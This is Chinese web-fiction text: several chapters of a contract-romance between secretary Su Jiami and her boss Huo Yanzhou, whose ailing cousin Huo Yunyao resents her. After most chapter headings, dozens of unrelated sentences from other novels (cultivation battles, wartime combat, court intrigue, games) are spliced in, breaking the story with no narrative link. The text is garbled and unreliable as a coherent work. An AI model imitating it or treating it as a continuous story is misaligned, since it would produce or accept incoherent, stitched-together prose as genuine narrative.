霍云杳见霍砚舟回来了,她起身,眼泪盈满眼眶,“三哥,我那个房间采光不好,我想住得舒服一点。” 霍砚舟神情为难,他黑曜石般的眼睛浓着左右为难的情绪,可很快,他看向苏嘉觅,“苏秘书,杳杳她病得很重,我希望你体谅她。” “这是自然,我现在就去收拾,搬出去!” 苏嘉觅笑容浅浅的,却不见任何怒容。 霍砚舟喉咙一哽,“我没有要你现在搬出去,也没想让你搬出去。” 苏嘉觅沉声,“是我要搬出去。” 她现在心里明镜一般——霍云杳不喜欢她,更不希望她住在这,那她不赶紧搬走杵在这碍眼,岂不是影响她金主霍砚舟圆满地履行合约? 她不会跟霍砚舟过不去,更不想跟钱过不去。 霍砚舟怔忪地看向苏嘉觅,他沉声,“你就这么迫不及待地想搬走?” “急霍云杳小姐所需,所想,我也是在尽责职,”苏嘉觅莞尔一笑,只是笑意转瞬即逝,“再者说霍总不也觉得霍小姐更应该住得好些?” 虽然,霍砚舟这栋房子的地下室都很好,可有钱人的要求更高,她苏嘉觅能理解。 说完自己的想法,苏嘉觅上楼去收拾东西了。 霍云杳心里得意,她看向霍砚舟,却发现他不甘地盯着苏嘉觅的背影,眼底波云翻涌,像是气闷更似不甘,很快他又平静下来,像以往平静得如湖面一般。 苏嘉觅回到房间,迅速地收拾了自己的衣物,之前她是换了新窗帘,可把替换下来的也留下了。 她从楼下搬梯子上楼的时候,霍砚舟和霍云杳已经在餐厅吃饭了。 男人在帮堂妹卷烤鸭,温润如玉。 汪阿姨想帮忙,可她正要往桌上端汤,“苏小姐,您等我一下,我帮您。” “不用,你忙吧!” 苏嘉觅搬着折叠梯往电梯走,霍砚舟撩眼皮看向她,纤细的腰肢俯身露出一抹藕白的细肉,他舌尖抵了下口腔壁。 霍砚舟将饼放在霍云杳的盘子里,“你先吃。” 霍云杳过来握霍砚舟的手,没握到,“三哥,苏小姐是不是生我气了?可她本来就是...” “别说了!” 霍砚舟抽过纸抽的纸擦了擦手,截住了霍云杳的话,他起身上了楼。 楼上,苏嘉觅正在摘窗帘,沉重的帘布让她脸上都出了一层汗。 “苏秘书,非要这么会过日子吗?” 苏嘉觅转身,见霍砚舟双手抄兜站在门口看着她,也不知道她到底哪惹他不高兴了,他脸上的阴郁明显又张扬。 “这是我挑的东西,入不了霍小姐的眼,我还是换回原样吧!” 苏嘉觅解释完又继续摘窗帘。 霍砚舟走过去,拦着他的腰将人抱了下来,放在床上。 他俯身看着苏嘉觅,她垂着眉眼,不与她对视,可她的呼吸却缠着他,他心底的气闷更重了。 苏嘉觅推开霍砚舟,“谢谢霍总。” 霍砚舟哑声,“窗帘重,我帮你。” 说完,他上去摘窗帘的挂钩。 男人有力气,自然事半功倍,很快以前的窗帘换了上去。 苏嘉觅将窗帘折叠好,放进了行李箱,她的东西不多,多数都是霍砚舟送的,包括那些鞋子。 霍砚舟看着眼前倔强又决绝的苏嘉觅,“今天太晚了,明天再搬去风情雅苑。” “不了,我已经联系了搬家公司,”苏嘉觅抿了下嘴唇,“晚走一天,霍小姐指不定又会多想,她是病人,我得照顾她的情绪。” “苏嘉觅,你不用这样阴阳怪气地跟我说话,”霍砚舟眼中的愤怒像火焰一样灼烫,“我没想让你走。” 苏嘉觅只是实话实说,她也承认,她心里有些不舒服,可这是她最好的选择,对她最有利。 “霍总,我没有,我真的没有生气,我说了我不在意这些,您又何必纠结呢?” 苏嘉觅合上行李箱,语气平和。 “呵,闹了半天,是我一厢情愿?” 霍砚舟没再说话,绕过苏嘉觅往外走,“记得把梯子放回原处。” “好!” 苏嘉觅没抬头,在整理其他的东西。 霍砚舟冷肃的面容阴沉如水,似乎可以滴水成冰。 楼下,霍云杳觉得晚餐很合她的口味,她跨了汪阿姨几句,汪阿姨面上一团和气,心里却骂霍云杳事儿多,丑人多作怪,一来就赶走了苏嘉觅。 霍云杳抬眸,“三哥呢?汪阿姨,你去帮我叫一下他。” 她搅着碗里的汤,心想苏嘉觅也不过如此,这么好打发,之前,她还把苏嘉觅当情敌,现在看来霍砚舟对苏嘉觅不过尔尔,甚至还没有她的睡眠质量重要。 她想让苏嘉觅搬出二楼主卧,她不仅搬出来了还要搬走了。 不多时,汪阿姨下楼说,“先生在书房办公,不吃了,让您多吃点。” 霍云杳瞪了一眼装在碗盘里的烤串和小龙虾,气闷地说,“汪阿姨,我和三哥都不吃这些,你倒掉吧!” 苏嘉觅送梯子下来的时候,正巧听到这句话。 上次,霍砚舟要她请他吃烧烤,他难得笑得开心模样。 眼下,她才确定他和她本来就是两个世界的人。 苏嘉觅走时带走了她的所有物品,包括霍砚舟和霍家人送她的礼物,她知道人家根本不在意这些,她跟霍砚舟也不是真情侣,也没必要玩分手分清楚的梗。 楼上,霍砚舟站在窗口,看着苏嘉觅上了搬家公司的车。 黑暗中,那辆车的车尾灯有些刺眼的红。 他伸手扯住窗帘,盖住了窗,遮了他的视线。 苏嘉觅回了之前租住的小公寓,她还好留了心眼没退房,因为她知道霍砚舟的脾气阴晴不定,若是她退了房子,突然间被赶出来,她去哪呢? 这次是从庄园别墅搬出来,下次被从风情雅苑赶出来,她都觉得丢人。所以,她打算就住之前的房子,至少安心。 苏嘉觅收拾了到后半夜才睡下,好在第二天是周末,她可以睡个懒觉。 周六下午,苏嘉觅去4s店买了一台二十多万的代步车,准备周一去过户上牌,以后代步。 至于霍砚舟许是在忙,他没找她加班。 苏嘉觅觉得这种日子真挺好...... 第一卷 第56章 霍砚舟找不到她了 来到了休息室,华纳太太给唐北双拿出了自己的一套礼服,华纳太太骨架略大,所以礼服的腰身也比唐北双身材大了很多。 “叔,待会儿我还要开车呢?酒驾这种事情我还是不敢干的”我说的都是大实话,酒驾这种事情我真的是不会去做的,轻则被警察逮着后个几分什么都还算轻呢?要是因为酒驾而出了什么车祸那就完犊子了? 苏糖找回一点信心了:怎么升级?你之前说继续保持这个姿势?是什么姿势。 这下子,什么唐贞早就被他忘到了脑后,眼前只有这张支票,“事成之后,这个事情你必须当做没发生一样,否则我会让你加倍偿还。”助理笑起来阴狠堪比靳沉言。 这种想法刚一出现便如同燎原大火一般无论如何也压制不住!尤其是当昂诺的眼睛看向那个已经失去了辐射的雕像的时候那种想要去一探究竟的欲望就变得更加的汹涌起来。昂诺眨了眨眼睛,对主脑们下达了自己的指令。 慢慢拉开距离,让这段感情随着时间自行消散,这应该是对所有人都好的结局。 而且这百余种丹药中,不乏六品,七品,其中甚至还夹杂着数中八品丹药。 忽然,不远处的老师们回过头来,给了众多学生一记警告的眼神,所有热议的声音暂时消失了。 仿佛是受尽折磨,终于不再需要忍耐的铁甲犀牛,没有得到主人的指令,便直接冲撞向四号选手毒蛇奥顿,一击之下,再无生还,两名幻宠师也只剩下了一名幻宠师。 这一看,原来是自己在苏家和苏赫对峙的画面,她说得话、做得事,被苏赫掐着脖子时,他狰狞的表情都录得清清楚楚。 倒是邀请来的善信有了一堆,话都放出去了,眼看着时间节点越来越近,他也只能硬着头皮创造条件了。 魔主用手指轻轻摸了一下死尸刀,手指轻轻划过去,只见一道黑色的气息随着指尖的划过而荡起一阵黑雾,就连空气都发出嗤嗤的声音,可想而知有多么毒。 常忠良和李桂兰知道晨曦说的意思,自己都不是这些妖魔鬼怪的对手,何况其他人呢?自己都是站在修真界巅峰的人物了,都感觉面对这些妖魔鬼怪没有任何希望,何况其他实力不如自己的人呢? 餐桌上摆了两碗面,摊了两个鸡蛋,为了践行千晚说的“营养均衡”,夏杰还顺带熬了碗胡萝卜牛肉汤,看起来色香味俱全。 蓝靳心疼大过惊恐,紧紧地抱着她,然后一边打电话让法师过来。 不二没有说话,没有猜测也没有去问,只是转身往水泥路上走去。樱一想要散心的时候,总是喜欢在栽有樱花树的道路上行走。 有人惊喜的说道,因为能御空飞行的人无不都是四阶强者,当然除了一些特殊进化者。 叶青知道自己这样确实有些过分,但是自己怎么也算是流芳城的城主夫人,总不可以就这样把流芳城拱手相让了吧!再说这样做自己也不会甘心。 不知不觉,寒来就来到了矮桌跟前。她拿起桌子上的白色抹布,正想去揭开瓷锅的盖子。手却忽然被拍开。 陈息远心里明明装着叶嘉柔,在他母亲的逼迫下,却不得不和叶楚相亲。 “知道,是不是就是学校往右拐五十米左右的那个。”一个男生接上话。 尹年暴跳如雷,刑部关于负责大牢这一块儿的官吏,都被叫了过来。 “我在这里等你回来。”凌宝鹿在他起身时候,伸手拉住他的手,嘴角的笑容带着难得的温婉。 想到秦凤仪封藩在南夷,虽则听闻现下南夷已是旧貌焕新颜,不过,对于一辈子生活的天子之都的愉王寿王,他们都是见过南夷土人族长的,实在想像不出南夷好能好到哪儿去。再加上秦凤仪这臭脾气,更是叫人愁的慌。 一声巨响之后,这三人一宠抵达地面,摔得七晕八素,好在暴鲤龙没有压在他们身上,不然三人不死都要丢掉半条命。 打开紫檀木盒,里面端端正正放着一套绣锦织金的红色嫁衣与凤冠。 苏沐秋抱着方槿衣进门,守在门口的人看到他怀里的方槿衣,个个都慌乱不已,最后还是因为唐廉的出现,这才让他们都安静下来。 但对于秦凤仪,这样的艰难之地反而在更大的程度上激发了秦凤仪过人的天资,他那无以伦比的天资以无比耀眼的方式将一个蛮荒之地的南夷建设成了朝廷首屈一指的西南重镇。 闫然进了房间把自己扔到床上,闭着眼睛清空脑中所有不好的记忆画面。 卫春平看了一眼潘浦和,轻声说道:“不用,让老潘好好休息一下吧!”他自认为为人处世之道比潘浦和强不少,但在业务方面还是得防着点儿潘浦和。 说完,他也不在逗留,转身迈步离开了大殿之后,其身子一晃演化为一道流光窜出,急速的离开了这片区域。 银雪带着闫然并没有深入部落中心,而是围绕着边缘走,越走越荒凉……。 经过了这些天铁血远征军不断对汉城清除残余势力,现在整个汉城都是处于铁血远征军的掌控之中。 第一卷 第57章 霍砚舟:别跟我闹了,好不好? 苏嘉觅喝了一口许璴熬得透着糊味儿的小米粥,她压下了喉头的苦味。 许璴星星眼,“味道怎么样?” 苏嘉觅颔首,“挺好喝的。” 现在杨霞已经发声,他只能眼珠乱转想办法,突然,他稍微低了下头,看到在放置磁盘阵列的工作台下有一个烟蒂,看上去还很新鲜,像是刚被扔后不久。 有没有法国人的牵制,都无关紧要。只要法国人不出问题,就算是什么都不用干,奥地利政府都必须要防一手。 而明天的春闱则显得尤其重要,因为它关系着谁又将能为他们这一边再拉来更多人才。 片场,试戏的时候林倦摇头说道,因为之前他在国外,所以剧本研讨会没有时间召开,现在拍摄的时候就必须多用时间来让演员理解自己的角色。 对方有枪,而且能一个打四个,明知逃不了,邓理杨也不想多遭罪。 冉修辰过去之后,见栾静宜和吴大夫两个的脸色都有些不大对,心中便不免猜测是不是发生什么事情了。 但是首相奥古斯特却向他保证,奥地利人不会废掉他的王位,原因只有一个那就是——吃相。 纵使是英国国内,也不认为希腊进攻奥斯曼人有什么大问题,只不过他们选择的时间不对。 九龙警署一支花的名气,林徐成还是听说过的,据说跆拳道黑带,一线战斗力极强,不过双方很少碰面。 说起来那次也真是惊险,要没有冉大人恰好的出声阻拦,那大夫估计就真的要被请过来了,这样一来,程翌他说不定就要露馅。 “欺人太甚,我们大家一起杀,他受了重伤,垂死之际,如今不过是回光返照而已!”金花婆婆再次言语,这一次她持着拐杖喝道。 不知道这串话中有哪一句打动了顾熙年,他终于有了反应。只见他放开了叶清兰的手,起身走了过来,看也没看那些精美的菜肴一眼,只将一碗粳米粥喝了。然后又回了床边,维持着之前的姿势。 望着那两个对比明显的拳头,所有的观众们都微微皱眉,隐隐替周天龙捏了把汗。 看到甲虫的表现,奎托斯眼中的异芒一闪而过,同时趁着红袍男人惊慌失措的瞬间,一拳将其打爆,无数粉碎的劲风还没来得及四散,就被甲虫的口器汲取到一部分。 可是追捕逃犯,逃犯混入校园,这些理由在他看来,就是扯淡了,他还是第一次听说有学生因为打老师然后为了求原谅活编出这样白痴的理由。 杨谦道,紫炎宗宗主,实力在天虚境初期,在整个中域都称得上是有数的高手之一。 “嘿!”段飞发出一声轻喝,紧接着就将手中的两柄战斧都给扔了过去,带着呼啸的风声,气势夺人。 所以奎托斯也就没有考虑到,自己空着双手前去收集战魂,是否会引起旁人的注意问题。 因为自己的出现,让她生活一片黑暗。昨夜因为紧张江蓉,最后离开雨前厅的时候,也顾不上她,也不知道她最后是怎么离开的?又经历过什么挣扎。 且不说凌季恒在自己这里藏了那么多金子,就空间里的米面粮油,都够她逍遥半生了。 第一卷 第58章 霍砚舟,你心里有人! 苏嘉觅被霍砚舟气笑了,她推他,他不动。 “霍砚舟,你到底知不知道自己在说什么,做什么?” 霍砚舟也觉得自己有点疯,可他还是抱紧了她。 “知道。” 目紧闭神魂毫无波动,玄天为了一探究竟神识进入南宫飞雪的身体里。 那柄血色的短骨剑被击飞插在地上,血魅的右手手腕被打成了‘7’字形。 段绍陵无声地陪在他身旁,陈醉的自愈能力很强,给点时间,他会自己想通的。 如果不是看到面前的七阶契约兽,李飞都想着是不是对樱九这个身份的第九樱下手了。 一行人出了学校,学校后面是学生们停车子的地方,一般大家有什么在校园内解决不了的事情,都是在这边解决。 李飞自信满满的拿出星铁枪,抬手就准备攻击,只是他这一动,那些妖兽立马就发现了他。 “余镇压使,这,还需要我们做什么吗?”覃一峰凑过去一脸崇拜的问道。 “如此说来,那玉皇大帝、宗布大神和那太乙救苦天尊都不在这幽冥地府,只有那地藏王在这幽冥地府里管事了?”夜离咄咄逼人道。 我看见程思远伸手示意省长与市长还有个合作单位的总裁一起完成仪式,大家都笑逐颜开的请省长与程思远先请。 一辆装甲车从他们旁边开了上去,他们看到刘教官坐在车头,连看都不看他们,他要像往常一样到山顶等着他们。 随着部队夺取长阳后,王佐民迅速执行苏阳命令,特战旅部队开始朝着宜城推进,划归到王立基第二路部队作战,而王佐民则是抽调侦察兵,朝着长阳以北进行搜索侦察,他们也开始与江防军部队取得联系。 清冷的声音从前方传来,王琳愣了愣,忽然蒙在眼上的布被人粗鲁的扯下,刺眼的光亮,逼的王琳急忙闭上眼,约莫过了十几秒,这才颤抖着睁开眼睛。 战斗到晚上十二点钟,日军辎重兵联队受到重创,伤亡超过四千人,剩下的一千多人丢掉武器装备,狼狈朝着后面撤离,警卫团等部队没有展开攻击,而是迅速配合打击71师团部队。 张福没有做丝毫停留,而是径直走向大殿内左璧,在一块汉白玉砖上按了几下,原本看上去是一整体的玉璧突然现出一个仅容一人通过的门洞。 只是对着一只雪山狼抱怨二爷的种种不是,这画面是不是太奇怪了点? 要说是他斩杀两名圣者分身,固然是不可思议,但仔细想来,谁也不确定,这事不是他做的。 惊醒的米兰奋力推开梵天,她甚至在想,如果不反抗,梵天会逮到好吃的不住嘴,说不定什么时候才停下来。 梵天把水柔儿搂在怀里,手掌一翻,放在她的头顶,一股九彩灵气喷射而出,缠绕在她脸蛋的伤口上,在天灵之气的滋润下,伤口以肉眼可见的速度在愈合。 男子已经消失在波纹当中,这里的一切,慢慢的复原,深渊又一次被海水倒灌,昏暗的空中慢慢的晴朗下来。 因为没分家,各家之间的来往自有定例,七房身为庶房向来守规矩,不私下走礼,逢年节也从未私下收过谁家的礼。 第59章 霍砚舟:我晚上留下陪你 苏嘉觅伸手按了滑动键,接起,免提。 对面声音传来—— “三哥,你什么时候来医院陪我?” 是霍云杳娇滴滴的声音。 霍砚舟沉声,“我走之前给你找了陪护,我明早去看你。” 苏嘉觅拿着烤串正要吃,结果是麻椒口味的,她打了个喷嚏。 霍云杳眉心微蹙,“三哥,你跟谁在一起?” 霍砚舟在霍云杳语气里听到了质问的语气。 这种质问,不应该是她也不能是她,他声音冷了几分,“杳杳,你早点休息。” “三哥,你....你去找苏嘉觅了?” 霍云杳不知道电话是免提,陡然升高的语调听得苏嘉觅不舒服,而霍砚舟更是眉宇清冷,声音透着冷,“杳杳,我找谁,跟你有什么利害关系吗?” 话音落,他拿过手机挂掉了电话。 霍砚舟心里明白——他因为对苏嘉觅有喜欢,有好感,而明白与霍云杳之间的情意是年少患难后的偏袒,那不是喜欢与爱,而霍云杳显然还不明白。 苏嘉觅不明白霍砚舟怎么突然发了这么大的火。 她抽出纸抽的纸擦他手机上的油,“手机进油了怎么办?” 霍砚舟笑笑,“换新的呗!” 得嘞,这哥们儿不缺钱。 苏嘉觅支着头看霍砚舟吃东西,“霍总...你..” “既然我都在考验期了,你能叫得不这么见外吗?” 霍砚舟手上剥了只虾,又喂到了苏嘉觅嘴里。 苏嘉觅没想到霍砚舟比她“入戏”还快,她拿纸揩了下嘴角,“那我应该怎么霍总?” “霍砚舟或者砚舟。” 霍砚舟垂眸轻笑,“但是在公司,你还得叫我霍总,公私分明。” 苏嘉觅觉得霍砚舟还是自恋体质。 她勾唇,“霍砚舟,砚舟?” 霍砚舟一顿,苏嘉觅软糯清甜的声音叫他的名字,真的很好听,好听到勾人,抓人,他耳尖微微泛红。 他点头,“哎!” 苏嘉觅被逗笑了,她莞尔后切入的正题,“砚舟,我感觉霍小姐很黏着你,你跟她兄妹感情很好?” 面对苏嘉觅的询问,霍砚舟有些心虚。 他现在很怕苏嘉觅知道他接触她之初的实情,那样,她就不会像现在这样好哄,甚至彻底离开他。 霍砚舟也很难理解,他这么快就对苏嘉觅生出来的贪恋,可他确定他现下想跟她好,那种想接近光的感觉,而苏嘉觅就是那束光。 “我有两个亲姐姐,已经出嫁了,”霍砚舟沉声道,“二叔家除了杳杳还有小五,是我家最小的男孩,今年中考。” 他舔了下嘴唇,“杳杳查出急性白血病后,我确实对她关心很多,毕竟她还年轻,我不想她死。” 原来,霍云杳得了急性白血病。 怪不得她敏感多思,对她敌意满满,一定是觉得她的存在分走了他堂哥给她的关注。 苏嘉觅微微颔首,“我懂了,之前我还以为霍小姐是瞧不上我的出身,小秘书配不上她堂哥。原来,是因为她觉得我分走了你对她的关注。” “其实,大可不必,你们是至亲,她怎么会这么想?” 苏嘉觅没有亲人,但她觉得亲人是守望相助也是彼此体谅,而不是患得患失。 霍砚舟听到苏嘉觅的话,他呛了口辣椒,咳得难受。 苏嘉觅给霍砚舟倒了一杯水,他握住水杯,也握住她的手,他看向苏嘉觅,她的眼睛生得好看,澄澈明亮又妩媚多情。 他勾唇,“谢谢!” 吃完饭,苏嘉觅撵霍砚舟,让他回家,可他却不走。 “我晚上留下来陪你吧,”霍砚舟振振有词,“再说之前又不是没一起躺过。” 苏嘉觅抗议,“不行,我不要你在我这。” “觅觅,你这个样子,我能做什么?” 霍砚舟大掌拍在她的脑瓜顶,“我就是怕你晚上不舒服,你第一天最难受。” 苏嘉觅被霍砚舟说成了个大红脸,她冷嗤,“你又懂了!” 霍砚舟点头,“我们住在一起三个月,我可以懂。” 他四平八稳地坐在那,开始摆弄手机,给黎骋发信息。 黎骋看到霍砚舟的短信内容,下巴差点掉下来,因为他的boss竟然是让他现在就送东西过去—— 小夜灯、睡衣、拖鞋、浴巾、毛巾、剃须刀、须后水、护肤品、内衣裤还有明天上班穿的西装、衬衫、领带、袖口、领带夹。 而他boss发的定位竟然是苏嘉觅以前住的那套公寓,他boss竟然跑到苏秘书那里去给人家“暖床”去了。 苏嘉觅洗漱后在卧室躺着,听着霍砚舟外边的动静——安静如鸡。 她刷着手机,看着看着打哈欠犯困,她眼皮沉重间,就听到外边传来的关门声。 苏嘉觅翻了身,“啊,终于走了!” 夜里,昏昏入睡的苏嘉觅觉得周身都很暖和,像是屋子里生了炉火一般。 她睡得很舒服,她往里又凑了凑,睡得安然。 霍砚舟在夜灯的微弱光线下看着怀里的苏嘉觅,他努力压下自己的欲望,那是作为男人最原始的欲望。 他舔了下嘴唇,往外挪了挪身子。 苏嘉觅却伸手摸了过来,“嗯...手机抵住我了...” 手机? 霍砚舟看着睡得沉的苏嘉觅把他的某处误认为她扔在被子上的手机,他盯着她的手,她往外推了推他。 他闷哼一声,身体赶紧往外挪了挪。 霍砚舟的热烧到了脸上,他脸颊隐隐发烫,因为不好意思,他抿唇笑了。 他探身过去,在她额头间留下一吻,渐渐入睡。 另一边,霍云杳根本睡不着,一闭眼睛就是霍砚舟此刻在哪,他会不会一直陪在苏嘉觅的身边? 想到这,她起身,打车回了霍砚舟的庄园别墅。 别墅内除了景观灯和应急灯开着,上下三层都是黑洞洞的,霍砚舟分明没有回来。 霍云杳的心莫名被抓紧了,她总觉得霍砚舟与苏嘉觅应该是发生了关系,而她顶着霍砚舟堂妹的身份,她连拉他的手,他都不愿意。 她唯一的筹码就是与霍砚舟青梅竹马的情分还有就是冒充苏嘉觅得来的被拐后,共患难的恩情。 想到这,霍云杳内心很慌乱。 她拿出手机给霍砚舟打电话,可他的电话却关机了。 霍云杳又打给了黎骋。 黎骋此时正跟傅珩在酒吧喝酒,聊霍砚舟送东西到苏嘉觅的八卦。 电话一接通,霍云杳哀声,“骋哥,我联系不上三哥了,我现在情况很不好...” 第一卷 第60章 霍砚舟:你确定是手机? 以为情况紧急,傅珩与黎骋一道来找霍云杳。 霍云杳坐在别墅门口的路灯下,她看上去格外的无助,看到傅珩一道过来,她眼睛蒙着眼泪。 墨晰看看自己胸口满身的红色,再摸摸脸,也是一把红色颜料,气郁地翻了个白眼,索性把自己全部变成了红色,也看不出那些红色的颜料了。 身体能升级、能恢复,但精神状态可没法升级。好好休养一下,也有利于接下来参加其他的比赛。 银月城没了,沧宇死了,也没有必要再去审讯沙依,或是降罪沙依。对于沙依来说,银月城是她的家,沧宇是她的制造者。 老人拿起酒杯把杯子里的酒一饮而尽,盛情难却凯若特也把酒杯端起,仰头一口气干了杯中的酒。 面具男子拿起手中的平板电脑,然后他用纤细修长的手指在屏幕上面优雅的滑动着,好像在跳着冰上华尔兹,动作柔美,纤巧,富有节奏感。 玉面公主失神地观望着那庞大犹如太古凶兽般的古老城池,心情异常的复杂。 费尔莱雅不再成日躲避凯若特了,还常常主动地与他一道研究解决学术课中的难题。久而久之两人已成了无话不说的好朋友。 “瘟到死系统?”原本一脸微笑自信满满自认可以轻松应付任何问题的碧施曼一下子僵住了,脸上的微笑慢慢收敛,取而代之的是一脸尴尬的潮红。 叶开忽然发现,离开永远亭后,贤者模式就消失了,这是什么原理? 虽然明知道伊藤原失了理智,根本不记得自己,但若说心里没有一点介意那是不可能的。 神器中也是分初阶,中阶,高阶和顶级神器的,幽冥古钟已经拥有成为低阶神器的潜质,至于今后能够成长到哪一步,就要看韩东的培养了,未来并非没有成长到高阶神器,甚至是顶级神器的那一天。 更有甚者一支铁片,一块似剑非剑的石头,都拥有一个独立的坟冢。 过了一会儿后,黑鲨尊王便直接甩出“弑杀之剑”,劈成两道剑光,化作一个十字。 惊怖言的师兄?!那位佛门,佛魔双修的密宗宗喀巴一脉的五品。 要只是战斗录像也就罢了,李启并不在意这点,实际上强者战斗被人看见,然后录像是极为正常的事情,李启自己就喜欢路过的时候偷看强者打架。 他一出现,朝堂上安静了下来,冷眸一扫,许多正要开口的人,忘了自己要说的词。 “你这话,听起来倒像是在为我着想?”陆璃悠抬头看向他,尽管她压抑着,但眼神中还是不经意透出几分冷厉。 苏念白退圈:你说的对,我也是那么做的,我们已经好几次超出安全距离了,她没反抗,反而很坦然的表现出她的欲望,可是她就是拒绝我。 而且,他身上的积分还有用处,要用来进行下一次网速升级的,不能全都直接花出去的。 这段时间经常在王府里面被欺压习惯的柳芊芊,什么时候看见过这样的事情? 溪风为了帮助水碧的情劫,不惜将自己六界第一歌喉送给了魔尊重楼,舍身成魔,就是为了五百年后能再次见到水碧,唤醒她。 第一卷 第61章 霍砚舟得知霍云杳的动机 黎骋利落地做了安排,联系上了捐赠人柯涓,将人约到了一家咖啡馆,又把定位发给了霍砚舟。 刚安排完,他就接到了霍家管家肖赫的电话,他有些诧异,“肖管家,您怎么突然给我打电话了?” “突然吗?” 明宇正要将被子全部掀开,脸颊就挨了重重的一拳,打的他眼前一黑就滚在了地上,还没回神,脸上又是一记大耳光,震得他嘴里腥甜。 想要为自己争辩,可是却又找不到充足的理由来说,毕竟当时确实是只有自己和管家两人在桌子旁边,再无他人。 苏沐瑶轻轻笑着,将目光移向了大殿中的某处,径自走了过去,站定之后才懒懒开口。 洪承畴本要站出来回话,却是不想那吴三桂却是率先站出来答话。 这个世界什么意外都可能发生,就连自己都可能有靠不住的一天,若是二号就完全不会纠结这个问题,明心甚至能猜想到她此时就在她的识海背面,冷着脸对她的行为作出判决:“耽于外物”。 “玉儿,祝贺你!”翁锐非常开心的对刚站起来的朱玉道,手刚伸出去,一看有很多人,他的手又收了回来,弄得朱玉把抬了一下的手也收了回去。 漫天呼啸的风刃吞噬向孤零零的石塔,明心平举着天音剑,面向飞来的狂砂,凹陷的脸颊纹丝不动。 这其中的质变取决于量的变化,天星并不是一个天地生养出来的妖族,培育他们的人只是需要一个可以复制的占卜工具,他的诞生包含着大量人工催化的作用,所以他才能在短短的十年内就达到筑基的修为,并且化形成功。 作为武林泰斗,指点一下儿子武功这是谁都想得到的,考较一下也无可厚非,但他亲自下场给儿子垫招,连曾禔都有点意外。 “星颜,以后我是不是就见不到你了,只能在电视上看到?”她哭唧唧的拉着她的手。 乔匀淅平时对舒衾衾很好,对他和其他学生也是挺关心的,算得上是一个好班主任,既然碰到了,姓赋晨还是很想帮帮她。 “岳总——你还想吃青团吗?”当初我想还岳恒人情的时候,岳恒就是让我做了一份青团,他应该是爱吃的吧?而那时候的我,还不能理解这个要求的意义。 要知道,这医院住院部,赶上新年值班的人都一个劲的抱怨呢,也就这帮医学生,这一幕还真让叶飞感动不已呢。 再次引发了巨大的爆炸,真的整个空间都颤抖了,不过,整个空间非常稳定,居然没有出现裂缝。两股力量激烈的碰撞了一会,终于因为空间乱流之力后继乏力而结束。 倏地,他蓦然抬起头,手指拂去眼角的余热,琥珀色的瞳孔渐渐沉淀一切,归于平静。 “院长!”率先反应过来的人是雷云春和侯英武,二话没说立刻对来人作揖行礼。 而这一掌轰下,却是要二度粉碎秦风的血肉碎片,打得他连渣都不剩,歹毒至极。 我心里对伍峥的话和反应感到疑惑,心知这样跟他打嘴仗也是没用的,就先答应了他。 丽华不知道么,她自然是知道的。自己的徒弟想什么,哪里能逃得过她的眼睛。只是这种习惯真的是极差,一个高级暗卫人员,必须要以任务为重,不能感情用事。否则,造成了重大安全事件,谁来负责? 第一卷 第62章 苏嘉觅觉得一切都太快了 阮倾并没有要求霍砚舟派人去接她,可见她早就准备的来京。 想到这一层,霍砚舟眉宇清冷了几分,他沉声道,“我有事要回公司一趟,二婶,杳杳那边我请了两个护工。” 言外之意,霍云杳有两个人照顾,不缺他一个人。 不待阮倾说话,霍砚舟挂断了电话。 然后自然地拉过她的手臂将她带到床边,捋了捋她的头发,让她穿上拖鞋。 而接二连三的电话铃声仍然不断,陆正承只得将电话线直接扯掉,才算是稍微安静。 刚刚程非凡还在这里,还有他时刻的提醒自己,一定要忍耐,不要冲动。现在程非凡一走,她的性格就像炮仗似的,被冷昊轩这么刺几句,就忍不住了。 “宁安,你找我有事吗?”许丽合上电脑,也在沙发上面坐了下来,问道。 而伴随着他的死亡,那破碎的黑色面具也是逐渐消散,露出了他的真容。 无数雷电凝聚,在他身体周围形成了一团雷光,百变的头发闪电游走,双目所及迸射雷光,散发出的气势竟然并不输给猿灵。 看了一眼那另一面的通道,猿灵走到了三头犬的脊背上,重新躺了下来,拍了拍他的肩膀后闭上了眼镜。 众人点了点头,选择了相信陆尘沙,毕竟对方是大势力的人,见识可不是他们能比的。 这是个5v5的游戏,虽然沈浪两段踩没有秒掉rng任何一人,但是却将两个关键输出加上辅助的状态压制下去,足以为这波团战奠定胜局。 放下信封的县丞朱楼也是喟然长叹,没想到自己面临的考验竟然如此艰巨。 他记得是家里的方针是,让陈信松自己与她们相处看看,择一而娶。 安宁宫内,一盆盆精心挑选的盆景花卉,无不在散发着安神宁心的气息,更不必提那座特地求来的送子观音,静静地伫立,承载着深沉的期望。 这哪里是陈氏想单干?分明就是另有合作对象了。而且,那合作对象多半也是个金丹家族,否则断不能如此罔顾自己的暗示。 可是她现在连只菜鸡都不算,随便一个强壮点的下人都能把她控制住,又谈何逃跑? 【水元盾】,一种较为常见的水行护盾,套在身上,微光粼粼水波荡漾,煞是好看,对于飞剑、飞针等切割穿刺类法器,有较为不俗的防护力。 伴随‘船长境’能力的增幅,船上几十人的战力得到增幅,而且士气也被鼓舞到了最顶点。 外面温度太低了,皮肤很容易变成黑紫色,甚至一些严重的,手上硬生生被冻掉了一层皮。 除了老祖是造化境巅峰之外,秦家还有八个长老,一个家主,都是造化境。 “白羊,山虎。”狼枪念着熟悉的名字,一高一矮两个跟班的身影突然出现在他的脑海里,他们的脸是模糊的,只有嘴露出来,正在笑着。 侯天龙震惊的说道,自己的保镖刚刚只是骂了他两句,竟然会落的这个下场。 头上顶着两个圆球,恩就是头发挽成的那种,洁白的皮肤,一双大大的眼睛,清澈明亮,看起来单纯无比,此时正一闪一闪好奇的盯着周飞扬。 那是两个化成灰他也会认得的人,一个白衣飘飘面似美玉,一个身高体壮满脸猥琐,正是之前弃他而去的狼枪和二呆。 第一卷 第63章 上班期间,禁止耍流氓! 霍云杳很诧异,在海城和江城声名赫赫的傅珩竟然会抱着一个女人出现在医院。 傅珩并没有看到霍云杳。 被公主抱的许瑶羞涩不已,“傅秘书,回头我给你加奖金。” 许瑶的话逗笑了傅珩,他勾唇道谢。 “谢谢许总,我一定好好工作,不让您失望。” 在格斗型改想要躲闪的时候,一道身影忽然出现在其前方,这是一台看上去体格均衡的机甲,机甲举起盾牌挡住了光束。 歌特用期待的目光盯着索菲看。他等待着索菲的回答。索菲不知道歌特这个问题的意义,但毫无疑问,索菲的选择也会是歌特的选择。 芙兰注视着身侧的人流:到处都是身穿校服——法师们有选择是穿袍子还是穿校服的特权——的学生,学生家长也有不少,还有一些像歌特和芙兰这样,似乎不是学院学生的年轻人。 言讫,二人便各自翻身下马,各自指挥所部骑兵,开始朝街道两侧的建筑房顶,窗口纷纷开火。 